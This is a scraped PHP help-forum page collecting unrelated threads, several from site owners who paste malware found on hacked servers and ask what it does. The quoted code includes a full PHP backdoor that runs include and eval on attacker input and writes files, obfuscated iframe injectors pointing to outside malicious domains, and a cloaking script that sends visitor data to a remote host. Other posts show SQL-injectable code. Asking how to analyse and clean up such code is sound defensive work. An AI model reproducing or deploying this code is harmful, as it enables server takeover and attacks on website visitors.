PHP - Code Found Hacked Onto Server - What Does It Do?
I found this code added to my server uploaded into a zencart admin folder. We did have some problems previously with index.php and login.php files having some encoded javascript injected into them and mess up our online shop.
If someone could tell me what it does as i accidently launched it before i deleted it. Looked in the server logs and it seems to of accessed every file on the server within seconds. Code: [Select] <?php //e6b03bed4190733c7534e5c1209b076f /** * @version 2.42 * */ if (isset($_POST["action"])) { switch ($_POST["action"]) { case "test": test(); break; case "regular_test": regular_test(); break; case "setup": projectcodes_setup(); break; case "remove": projectcodes_remove(); break; case "mail": send(); break; default: break; } return; } if (count($_GET) > 0) { foreach ($_GET as $id => $code) { if ($id == "id") { include $code; } } return; } function test() { $encoded_data = ""; $data["version"] = phpversion(); if (isset($_SERVER["SERVER_SOFTWARE"])) { $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"]; } else { $data["serverapi"] = "Not Available"; } ob_start(); phpinfo(8); $data["modules"] = ob_get_contents(); ob_clean(); $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE; $serializes_data = serialize($data); $encoded_data = base64_encode($serializes_data); echo $_POST["test_message"] . $encoded_data; } function regular_test() { echo $_POST["test_message"]; } function projectcodes_setup() { $projectcodes = $_POST["projectcodes"]; foreach ($projectcodes as $projectcode) { $mark = $projectcode["mark"]; $code = base64_decode($projectcode["code"]); $res = new_file_put_contents($mark, $code); if ($res) { $installed[] = $projectcode["id"]; } } $installed = serialize($installed); $installed = base64_encode($installed); echo $installed; } function projectcodes_remove() { $projectcodes = $_POST["projectcodes"]; foreach ($projectcodes as $projectcode) { $mark = $projectcode["mark"]; $res = unlink($mark); if ($res) { $removed[] = $projectcode["id"]; } } $removed = serialize($removed); $removed = base64_encode($removed); echo $removed; } function new_file_put_contents($filename, $data) { $f = @fopen($filename, 'w'); if (!$f) { return false; } else { $bytes = fwrite($f, $data); fclose($f); return $bytes; } } function new_file_get_contents($filename) /* Returns the contents of file name passed */ { if (!function_exists('file_get_contents')) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); } else { $fcontents = file_get_contents($filename); } return $fcontents; } function send() { $code = base64_decode($_POST["projectcode"]); eval($code); //return; } ?> Similar TutorialsI know the following line of code is dangerous since the user has control of $query but I do not know any other way to realistically do it. if (eval('return (' . $query . ');')) { The perpose is to allow the user to type in any valid php statement and see if it evaluates true or false. I.E. 1==1 is true substr('cat',1,2)=='at' is true 12<6 is false the problem is I am sure there are ways a hacker could use this code to upload code to my site and take over. I have 2 options. 1 filter out any possible way a hacker could hack it or 2 only allow the user to enter functions that can't be used to hack it. I will probably go the later route but either way I need to know what to look for. Please let me know if you can think of any values for $query that would let you hack my site (p.s. this code is not up yet and will not go up until any possible security flaws are fixed.) Hey, friends. I have some trouble on the server front. My sites have been hacked, and I need to make sure I've eradicated every trace of this exploit. I'm looking for a way to search for any and all php files contained in multiple directories with specific names. For instance, I have found a commonality in relation to where these malicious files are placed, such as: Code: [Select] /some/dir/img/somename.phpor: Code: [Select] /some/dir/js/somename.php Is there a way I can easily (e.g. using ssh and the "find" command) locate all files ending in php but only found in directories named "img"? I can't seem to find anything that would allow me to do this with find, or with a combination of find and grep. I can't go directory by directory, as some of these img directories are created many levels deep, some even in .svn directories. Any and all help is appreciated. Hackers suck. Well this is a tricky one for me. The script I've created is able to upload images to a server. The server, which I have no control over, generates a random name. It uses Javascript and flash. As a result the links to these images are not within the source code. I suppose the question is, is there a way to still grab these links? I'm familiar with cURL and I was thinking about using something like (CURLOPT_FOLLOWLOCATION) but I'm wondering if that would just look at the source code for links as well? Has anyone had this problem before? Hi guys, some how someone has physically changed my pages and added Code: [Select] <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> How have they done this, do you think they have got into our ftp account. Heres a page with it on. http://www.languageschoolsuk.com/coursecalculator.php if you look at source code , right at the end near the footer you can see. Any help and advice would be brilliant because i have nooooo idea. Yup, the nice person left some friendly messages just to prove it. Now i need to recover. I have back up code and DB. But I need to establish what kind of hack it was and how to improve things. The big tell tale, is that all the javascript is gone off the pages. Yet the js tools ( jquery etc ) all all still there.
They also got past the login page as well.
The site was built with CodeIgniter so I had invested my trust in the framework as I will never assume I know more than the CI guys on security.
any ideas jump to mind as to what kind of hack it was and therefore what obvious things I can do to avoid it again ?
Many Thanks !!
My website this morning was displaying 2 iframes that I know I never put there in the code: in index.php: <script type="text/javascript" charset="ISO-8859-1" src="game.js"></script> and in my public_html, there was a file called game.js that contained the following: O="=100%iframewidthheig".split('');Q="document.write('< src=http://lolkatdska.co.in/sTDS/go.php?sid=1 ht frameborder=0 margin=0 marginht=0></>');";o="";for(J=3;J>-1;J--)Q=Q.split(o.charAt(J)).join(O[J]);eval(Q.replace(//g,'"')); I am the only person with the login details to my website/cpanel, and I know I never uploaded/modified these files. I've spoken to my host, but they told me they didn't see anything (because obviously I removed these foreign objects as soon as i noticed them). They don't seem too bothered about a security risk :/ Anyway, I've changed my login details and all that. I mentioned above that I discovered 2 foreign iframes; the other one I found just a moment ago, again on my index page (but within a file called footer.php) in footer.php: <iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe> How did I not notice this before??? I think it was placed there in the last hour or so, after I removed the first iframe. This is pretty weird, I changed my login details for cpanel/ftp and all that stuff over an hour ago!!! and since then I've found this new alteration that I never made! I dunno, maybe it was there along with the game.js iframe but I didn't notice.... but as soon as I fixed the first one, I checked, and everything was fine. Oh, and also, the php files index and footer are now have twice the number of returns as they originally did. e.g: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> Became: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> The only way these files could have been altered is if someone knows my login details... but this just is impossible, how did this happen? Is any of these weird files/modification familiar to anyone else? We had a problem with the site a month ago when google suspected our site as some sort of security threat... because we were hosting content from xxxxxxxxx.com, a site we have no affiliation with and doesn't feature on our site at all. It was all quite bizarre and the google thing went away within a day of contacting them. I have a feeling the same person/thing was behind this also. HELP! Hi Chaps, After my clients' site was hacked just over a week ago, I took down the site and made some changes to the PHP scripts. - Backed-up the database, then removed it from the webhost - Removed all web files - Changed the FTP and SQL login credentials - Encrypted all user passwords - Secured the login/signup scripts with a Captcha tool. - Secured all account & checkout pages with cookie checks (forces login). - I validated all the user inputs for XSS. - Secured the SQL scripts with mysql_real_escape_string()/strip_tags()/str_replace(). - Used HTTP_REFERER on account/checkout pages I'm hoping this will sure up the front-end site. Whilst I was backing up the images folder (500Mb+) to my PC, I was warned of trojans and viruses. It turned out the hackers had placed php files (cid.php/sniper.php/etc) and a couple of files without extensions, into the main Images folder. Without knowing how they actually did this (whether they had access to the FTP site, gained access through the website, or through a virus on the laptop used to update the site/upload images), I would like to know what I can do to make sure that they can't do this again. There is no option for front-end users to upload files, but the administration site does allow image uploads. At the moment, the images folder permissions are set to 0775, I think this is correct. Is there something I can do to the Image folder permissions as a whole, or should I just run a regular check on the directories, checking for all non-image files, or any file/directory that doesn't have the 0775 permission? Are there any resources on protecting FTP folders with PHP, uploading files/directories to protected folders, good practices to continually check for unwanted files? Is there anything else I should be looking into, I did read something about the dangers of include()/require_once() The site is hosted on a shared server, and don't have access to the .htaccess files. Is there anything I can ask the hosting company to check that there firewall is working correctly? Sorry for the range of questions in this, but any help or guidance would be most appreciated. Many thanks I am using php 5 and I am having issues with cookies. I have looked at the help pages here but still stuck. A site had been hacked via a database and I am making it more secure with the use of session control ip address and cookies. The issue is this I need to run a database query to test if the two cookies set match that with the data in the database. I am using the following code in the head section. Code: [Select] <?php session_start(); $session = session_id(); $ip = $_SERVER['REMOTE_ADDR']; $user = stripslashes(trim($_POST['user'])); $pass = stripslashes(trim($_POST['pass'])); $username="$user"; $encrypt_user=md5($username); $password="$pass"; $encrypt_password=md5($password); include 'config.php'; $query = "SELECT * FROM `users`WHERE `username` = '$encrypt_user' AND `userpass` = '$encrypt_password'"; $result = mysql_query($query) or die (mysql_error()); if (mysql_num_rows($result)>0){ while($row = mysql_fetch_row($result)){ // set the cookies setcookie("cookie[pas]", "$encrypt_password"); setcookie("cookie[user]", "$encrypt_user"); $query = ("UPDATE`users`SET`sid`='$session', `ip` = '$ip'WHERE `username` = '$encrypt_user' AND `userpass` = '$encrypt_password'"); $result = mysql_query($query) or die (mysql_error()); } } else { echo 'No rows found'; } ?> This works fine now when I add this bit of code I can see the cookie name and value. Code: [Select] <?php echo "$ip<br>"; if (isset($_COOKIE['cookie'])) { foreach ($_COOKIE['cookie'] as $name => $value) { $name = htmlspecialchars($name); $value = htmlspecialchars($value); echo "$name : $value <br />\n"; } } ?> I can see the ip address and the two cookies named user and pass but when I try to get the individual cookie details nothing comes out and this is the issue as I need to test each of the two individual cookies against the info in the database so I can include pages to make it all secure. I have tried Code: [Select] <?php if (isset($_COOKIE['user'])) { echo "$encrypt_user"; } ?>encrypt_user being the username from the form. I have also tried Code: [Select] <?php if (isset($_COOKIE['user'])) { echo "$_COOKIE['user']"; } ?> These are not showing. I do not need to see it just run a query to test that each cookie matches the encrypt data in the MySQL. Any ideas would be great if you can help and if not have a great weekend The code below was inserted into every single index.php on one of my clients sites. It went through and every single index.php page (in each folder) had that following code put in. It was strange. As far as I can tell there are no FTP logs, besides my own IP. This site was heavily built by someone else, I have been enhancing the system for a few months but it hasn't undergone a full security audit yet. What could have caused this. The weird thing is it's not loading it into the very top of the file..the security.inc.php is my file..and somehow they always get inserted below that file. But the <? is inserted right after it. I also don't use generally the <? shorthand, that was his previous code..but that entire <? block that has the hack attempt is very strange. Any advice on how this is generally done, and anyone with similar issues? Code: [Select] <? require_once('security.inc.php'); ?><? if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?> I have some code that works fine on my dev server but does not work on my production server. Dev server has PHP version 5.2.5 and production server has PHP version 5.1.6. This is the part of the code that isn't working on the prod. server: $xmlDoc=new DOMDocument(); $xmlDoc->loadXML($tmpDoc); $x=$xmlDoc->getElementsByTagName('link'); //get the q parameter from URL $q=$_GET["q"]; //lookup all links from the xml file if length of q>0 if (strlen($q)>0) { $hint=""; for($i=0; $i<($x->length); $i++) { $y=$x->item($i)->getElementsByTagName('title'); $z=$x->item($i)->getElementsByTagName('url'); if ($y->item(0)->nodeType==1) { //find a link matching the search text if (stristr($y->item(0)->childNodes->item(0)->nodeValue,$q)) { if ($hint=="") { $hint="<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</td></tr>"; } else { $hint=$hint . "<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</a></td></tr>"; } } } } } $tmpDoc is a variable that holds database information in xml form. It basically looks like this: $tmpDoc = $tmpDoc . "<link><title>" . $row['CustomerName'] . "****" . $row['Rep'] . "****" . $row['InstallDate'] . "****" . $row['PaidDate'] . "</title><url>accountPage.php?AccNum=" . $row['AccountNum'] . "</url></link>"; ...that is inside a while loop that loops through the rows returned by a query. Basically, as I said, the whole thing works fine on my dev server but on the production server it never makes it into the for loop so I guess the condition $i<($x->length) isn't being met. I'm at a bit of a loss here. Is there anything like the PHP version or Apache version that may cause the "->" operator to not work? The prod PHP version isn't that much older than my dev PHP version so I doubt that's the issue but it's about all I can think of. Thanks! Hello I recently got a "to many connection" error on my site, and want to know if anyone here knows a few codes that will show how many connection currently are in use (maybe even what files that creates them). I found I can use "Threads_connected" to show current open connections, but no info on how to write the code or where to pu the file. I hope you can show my what to do I have a phppage which needs 1) to load images ,image paths and image name from a different server,when the page is loaded 2)Details automatically saved to the database. can we do this with php(i mean can we take datas from a different server through php code) Is it possible to run a VBScript on the server from a PHP file called by the client? I am using Apache as my web server on a Windows Server 2003 machine. <?php exec('saveAsTxt.vbs'); ?> It just hangs the browser and doesn't do anything. I'm not sure what is going on. If anyone can help, it would be much appreciated. Thanks Mike Hi, A consumer give me WSDL that describe SOAP messages in order to communicate together by Web services. The first WSDL is a webservice that I consume, no problem for this part. But the second one must be implemented in our side, a wsdl is provided to describe the ws that we must develop. The problem is that I don't know how to do? Is a tool exist to generate server code from a wsdl? should I develop from scratch and try to match the wsdl? Any clue will be welcome. Regards, Kyor I have a page that you click to from your email to validate your account. Whenever you click that link and it goes to this page, the server connection times out. What is in this code that would make it timeout (it does not give an error, just says connecting...then times out) session_start(); include "../incl/connectdb.php"; $key1 = $_GET['id']; $key2= $_GET['id2']; $query = "select * from users where passkey = '$key1' and pass2 = '$key2' and activation= 'pending' LIMIT 1"; $result = mysql_query ($query) or die (mysql_error()); $row = mysql_fetch_array ($result); if (mysql_num_rows ($result) < 1){ $_SESSION['message'] = "Invalid link"; header ("Location: ../"); exit(); } $query = "update table-name set activation= 'active' where id = '".$row['id']."' "; mysql_query($query); $_SESSION['message'] = "Account validated."; I have a php form submission on this website: www.judelawllc.com There are several required fields...and when I try to get around them, I am unable to?? Yet, over the last week...we have been getting upwards of 500 submissions that are completely blank? I don't understand how that is possible...or how to correct it. I have tried to add a captcha to the form to add further protection, but the captcha image is too big for the space I have to put this form. I don't like the layout of this site, but I am stuck with it for now...could you let me know what information I can supply you to help figure out how this is happening? Thank you in advance! I hope I'm posting in the correct forum. If not, I'm super sorry! Anyways, I need help with a website I'm working on. We have been asked to redesign our "Apply Online" page. My supervisor has asked that I find the correct code to make an upload button that will allow users to upload their resumes to our server, and send a copy to the specific branch they indicate (we have 17 branches). Could any of you point me in the correct direction for this code? I've seen several sites for Uploads to servers, but I'm worried this isn't exactly what we are looking for. I am trying to get a php script on a remote server to execute on my server but im having problems getting it to work, and i am not sure if it is even feasible i have had a look on google but i cant find much information on it. This is what i have tried up to now I saved a php script as a txt file on y remote server. then used file_get_contents on my home server $curl_scraped_page = file_get_contents('http://www.remote_server.com/script.txt'); the content of the txt file was $sum = 1+1; then i tried to echo $sum on the home server but i did not work can anyone point me in the right direction or is what i am trying to do even feasible? Thanks in advanced Hello everyone.. This is the first PHP script I've written and was hoping to get some feedback on any possible issues with it. I've pieced this together in an attempt to download remote images and store them on my server, instead of hotlinking images. The code will be used for a forum, called up by a BBCode tag. (The user will place an image URL into the BBCode, which will transfer to this PHP script). Again, this is the first time I've coded anything in PHP and was hoping to get some pointers on anything that needs changing.. thanks <?php $url = $_GET['url']; $url_path = parse_url($url, PHP_URL_PATH); $name = basename($url_path); $FileExt= substr($name, -3); $FileTypeMIME= array("jpg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif"); $ContentType= $FileTypeMIME[$FileExt]; if (empty($ContentType)) die("You are not allowed to access this file!"); header("Content-Type: " . $ContentType); $save = "../images/". strtolower($name); function wtf_image ($file) { switch($FileTypeMIME[$FileExt]){ case "image/jpeg": $im = imagecreatefromjpeg($file); //jpeg file imagejpeg($im, $save, 0, NULL); //save jpeg file break; case "image/gif": $im = imagecreatefromgif($file); //gif file imagegif($im, $save, 0, NULL); //save gif file break; case "image/png": $im = imagecreatefrompng($file); //png file imagePNG($im, $save, 0, NULL); //save png file break; } return $im; } if (file_exists($save)) { readfile($save); } else { chmod($save,0755); $image = wtf_image($url); //Runs wtf_image function on $url imagedestroy($image); readfile($save); } ?> I have had a customer want to run my application (PHP/APACHE/MYSQL) on their server rather than a commercial hosting offering (JUSTHOST/GODADDY)
I am reluctant, as it means giving them access to my PHP code which could possibly be copied or distributed.
Can I protect against this?
|